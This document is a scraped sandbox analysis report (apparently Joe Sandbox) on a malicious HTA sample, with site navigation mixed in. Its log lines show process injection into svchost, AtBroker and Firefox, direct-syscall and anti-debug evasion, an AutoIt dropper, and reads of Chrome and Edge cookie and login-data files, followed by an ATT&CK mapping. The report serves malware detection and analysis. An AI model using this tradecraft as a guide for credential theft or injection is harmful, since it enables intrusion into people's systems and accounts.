Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep count: 3864 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe TID: 8028	Thread sleep time: -85000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe TID: 8028	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe TID: 8028	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe TID: 8028	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe TID: 8028	Thread sleep time: -37000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 7924	Thread sleep count: 3919 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 7924	Thread sleep time: -7838000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 7924	Thread sleep count: 6054 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 7924	Thread sleep time: -12108000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed

Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: WRNKS5Hlc0y.exe, 0000000F.00000002.3664314153.0000000000547000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg>Y
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1383852652.0000000007CAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1383852652.0000000007C49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: powershell.exe, 00000003.00000002.1383852652.0000000007C49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000002.1963866262.000002E155EEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0003A124 SetUnhandledExceptionFilter,		12_2_0003A124
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0003A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		12_2_0003A155

Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtCreateFile: Direct from: 0x77752FEC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtOpenFile: Direct from: 0x77752DCC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtSetInformationThread: Direct from: 0x777463F9	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtQueryInformationToken: Direct from: 0x77752CAC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtTerminateThread: Direct from: 0x77752FCC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtProtectVirtualMemory: Direct from: 0x77752F9C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtSetInformationProcess: Direct from: 0x77752C5C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtNotifyChangeKey: Direct from: 0x77753C2C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtOpenKeyEx: Direct from: 0x77752B9C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtOpenSection: Direct from: 0x77752E0C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtProtectVirtualMemory: Direct from: 0x77747B2E	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtAllocateVirtualMemory: Direct from: 0x777548EC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtQueryVolumeInformationFile: Direct from: 0x77752F2C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtQuerySystemInformation: Direct from: 0x777548CC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtAllocateVirtualMemory: Direct from: 0x77752BEC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtDeviceIoControlFile: Direct from: 0x77752AEC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtCreateUserProcess: Direct from: 0x7775371C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtWriteVirtualMemory: Direct from: 0x7775490C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtQueryInformationProcess: Direct from: 0x77752C26	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtResumeThread: Direct from: 0x77752FBC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtCreateKey: Direct from: 0x77752C6C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtReadVirtualMemory: Direct from: 0x77752E8C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtSetInformationThread: Direct from: 0x77752B4C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtQueryAttributesFile: Direct from: 0x77752E6C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtAllocateVirtualMemory: Direct from: 0x77753C9C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtClose: Direct from: 0x77752B6C
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtUnmapViewOfSection: Direct from: 0x77752D3C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtCreateMutant: Direct from: 0x777535CC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtWriteVirtualMemory: Direct from: 0x77752E3C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtMapViewOfSection: Direct from: 0x77752D1C	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtResumeThread: Direct from: 0x777536AC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtReadFile: Direct from: 0x77752ADC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtQuerySystemInformation: Direct from: 0x77752DFC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtDelayExecution: Direct from: 0x77752DDC	Jump to behavior
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	NtAllocateVirtualMemory: Direct from: 0x77752BFC	Jump to behavior

Source: C:\Users\user\AppData\Roaming\igcc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\AtBroker.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Source: igcc.exe, 0000000C.00000002.1362921079.00000000000C4000.00000002.00000001.01000000.00000009.sdmp, igcc[1].exe.3.dr, igcc.exe.3.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: WRNKS5Hlc0y.exe, 0000000F.00000000.1531780194.0000000000C60000.00000002.00000001.00040000.00000000.sdmp, WRNKS5Hlc0y.exe, 0000000F.00000002.3665568415.0000000000C60000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: XProgram Manager
Source: igcc.exe, WRNKS5Hlc0y.exe, 0000000F.00000000.1531780194.0000000000C60000.00000002.00000001.00040000.00000000.sdmp, WRNKS5Hlc0y.exe, 0000000F.00000002.3665568415.0000000000C60000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: WRNKS5Hlc0y.exe, 0000000F.00000000.1531780194.0000000000C60000.00000002.00000001.00040000.00000000.sdmp, WRNKS5Hlc0y.exe, 0000000F.00000002.3665568415.0000000000C60000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: WRNKS5Hlc0y.exe, 0000000F.00000000.1531780194.0000000000C60000.00000002.00000001.00040000.00000000.sdmp, WRNKS5Hlc0y.exe, 0000000F.00000002.3665568415.0000000000C60000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report njo.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
njo.hta

Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: igcc.exe	Binary or memory string: WIN_81
Source: igcc.exe	Binary or memory string: WIN_XP
Source: igcc.exe	Binary or memory string: WIN_XPe
Source: igcc.exe	Binary or memory string: WIN_VISTA
Source: igcc.exe	Binary or memory string: WIN_7
Source: igcc.exe	Binary or memory string: WIN_8
Source: igcc.exe.3.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00086283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		12_2_00086283
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00086747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		12_2_00086747

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	11 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	128 System Information Discovery	Distributed Component Object Model	21 Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	251 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	312 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement